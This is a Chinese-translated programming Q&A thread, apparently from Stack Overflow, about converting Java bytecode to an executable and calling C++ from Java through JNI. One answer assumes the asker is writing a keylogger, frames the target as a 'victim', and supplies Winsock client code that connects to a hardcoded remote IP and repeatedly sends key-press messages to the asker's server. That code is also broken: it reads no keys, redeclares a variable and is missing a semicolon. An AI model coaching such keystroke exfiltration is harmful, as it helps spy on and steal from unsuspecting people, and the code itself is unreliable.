-4

我已经阅读了很多文章和帖子,但我仍然对如何将字节码制作/转换为 exe 感到困惑,以便它可以在任何带有 JRE、JVM 或任何其他类型的东西的独立机器上运行。

结合C++和java程序是什么意思?

如果可以将 C++ 和 Java Program 结合起来,该怎么做?

4

4 回答 4

3

我已经阅读了很多文章和帖子,但我仍然对如何将字节码制作/转换为 exe 感到困惑,以便它可以在任何带有 JRE、JVM 或任何其他类型的东西的独立机器上运行。

这可以使用GCJ来实现,但根据我的经验并不是很常见。如果您不确定目标计算机是否安装了 JVM,您可以使用您的字节码发送一份 JRE 副本。

结合C++和java程序是什么意思?

Java 可以使用JNI执行本机代码。

如果可以将 C++ 和 Java Program 结合起来,该怎么做?

如上所述,您可以使用 JNI。

于 2013-05-21T10:26:27.257 回答
1

字节码到 exe,以便它可以在任何独立机器上运行:我认为这不能完成。Java 程序集在体系结构上与 x86 程序集不同。也许您可以从 java 源代码转到 .exe。

结合 C++ 和 java 程序是通过 JNI 完成的。您使用特定库编写 c++ dll 以在 java 和 C 数据类型之间进行转换,并从您的 java 代码中调用该 dll。

结合 C++ 和 Java 程序,怎么做: http ://www.ibm.com/developerworks/java/tutorials/j-jni/section2.html

做你想做的最好的方法:用 C++ 做所有事情。您的键盘记录器使用本机系统调用来获取键状态,因此最好用 C/C++ 编写,只需学习 Winsock for C++ 即可发送数据。受害者将成为客户端,而您将成为服务器 http://www.binarytides.com/winsock-socket-programming-tutorial/ 请参阅“发送数据”部分。

这是客户受害者的一些示例代码:

#include<stdio.h>
#include<winsock2.h>

#pragma comment(lib,"ws2_32.lib") //Winsock Library

int main(int argc , char *argv[])
{
    WSADATA wsa;
    SOCKET s;
    struct sockaddr_in server;
    char *message;

    printf("\nInitialising Winsock...");
    if (WSAStartup(MAKEWORD(2,2),&wsa) != 0)
    {
        printf("Failed. Error Code : %d",WSAGetLastError());
        return 1;
    }

    printf("Initialised.\n");

    //Create a socket
    if((s = socket(AF_INET , SOCK_STREAM , 0 )) == INVALID_SOCKET)
    {
        printf("Could not create socket : %d" , WSAGetLastError());
    }

    printf("Socket created.\n");


    server.sin_addr.s_addr = inet_addr("74.125.235.20"); //your ip here
    server.sin_family = AF_INET;
    server.sin_port = htons( 80 );  //your port here

    //Connect to remote server
    if (connect(s , (struct sockaddr *)&server , sizeof(server)) < 0)
    {
        puts("connect error");
        return 1;
    }

    puts("Connected");

    //Send some data
    char message[128];       
    while(true){ 
        //Check if a key is pressed
        strcpy(message, "Keypressed!");
        send(s , message , strlen(message) , 0)
    }
    closesocket(s);
    WSACleanup();
    return 0;
}

用java编写服务器程序。

于 2013-05-21T11:09:12.040 回答
0

我强烈建议您将事物分开并保持原样。如果您需要一种功能强大且运行速度快的语言,请选择 C/C++ 并让您的应用程序完全使用它。现在,如果您追求可移植性快速开发/部署,请选择 java。

您还可以使用 C# 和许多其他快速开发语言来实现您的目标。

啊,PS:.JAR/.CLASS 文件是可执行的二进制文件,它们只需要安装框架即可正常工作 Java 是托管代码,例如 .NET

于 2013-05-21T10:33:52.113 回答